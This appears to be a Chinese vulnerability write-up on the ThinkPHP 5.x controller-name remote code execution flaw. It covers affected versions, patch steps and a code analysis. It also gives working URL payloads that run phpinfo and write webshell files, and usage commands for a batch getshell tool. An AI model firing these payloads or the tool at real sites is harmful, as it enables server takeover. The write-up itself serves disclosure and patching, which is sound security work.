一、概述
近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞,由于没有有效过滤$controller,导致攻击者可以利用命名空间的方式调用任意类的方法,进而getshell。
二、影响范围
5.x
5.x
以及基于ThinkPHP5 二次开发的cms,如AdminLTE后台管理系统、thinkcmf、ThinkSNS等
shadon一下:
三、漏洞重现
win7+thinkphp5.1.24
(1)执行phpinfo
/index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
(2)写一句话木马
/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=’
debian+thinkphp5.1.30
(1)执行phpinfo
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
(2)写一句话木马
/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=
win7+thinkphp5.0.16
(1)执行phpinfo
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
(2)写一句话木马
/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=
四、修复方案
1. 直接git/composer更新
2. 手工修复
5.1版本
在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上
5.0版本
在think\App类的module方法的获取控制器的代码后面加上
如果改完后404,尝试修改正则,加上\/
五、漏洞分析
Thinkphp5.1.24
先看补丁:
对controller添加了过滤
查看路由调度:
Module.php:83
$instance = $this->app->controller
实例化控制器以调用其中的方法
查看controller方法
App.php:719
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
parseModuleAndClass解析$name为模块和类,再实例化类
查看该方法,第640行
可以看出如果$name包含了\,就
直接将$name作为类名了,而命名空间就含有\,所以可以利用命名空间来实例化任意类
现在看看如何控制$name,即$controller。
查看路由解析,即如何解析url的
Url.php:37
list($path, $var) = $this->rule->parseUrlPath($url);
调用了parseUrlPath(),继续跟进
查看Rule.php:947
用/分割url获取每一部分的信息,未过滤
看看如何获取url:
Request.php:716
注意在该文件第31行
// PATHINFO变量名 用于兼容模式
‘var_pathinfo’ => ‘s’,
所以可以用pathinfo或s来传路由
//windows会将pathinfo的\替换成/,建议用s
综上可构造payload如:
http://127.0.0.1/public/index.php?s=index/namespace\class/method
接着分析一个写shell的exp
http://127.0.0.1/public/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=
调用了\think\template\driver\file这个类
就这样直接写入shell了
六、 检测工具
项目地址:https://github.com/theLSA/tp5-getshell
本工具支持单url/批量检测,有phpinfo模式、cmd shell模式、getshell(写一句话)模式,批量检测直接使用getshell模式。
使用帮助
python tp5-getshell.py -h
单url检测(phpinfo模式)
使用4种poc检测:查看phpinfo
python tp5-getshell.py -uhttp://www.xxx.com:8888/think5124/public/
单url检测(getshell模式)
使用3种exp进行getshell,遇到先成功的exp就停止,防止重复getshell
python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/ –exploit
单url检测(cmd shell模式)
批量检测(getshell模式)
使用3种exp进行getshell,遇到先成功的exp就停止,防止重复getshell
python tp5-getshell.py -f urls.txt -t 2 -s 10
七、参考资料
https://xz.aliyun.com/t/3570
https://blog.thinkphp.cn/869075
https://iaq.pw/archives/106
https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
*本文作者:LSA,转载请注明来自 FreeBuf.COM
领取专属 10元无门槛券
私享最新 技术干货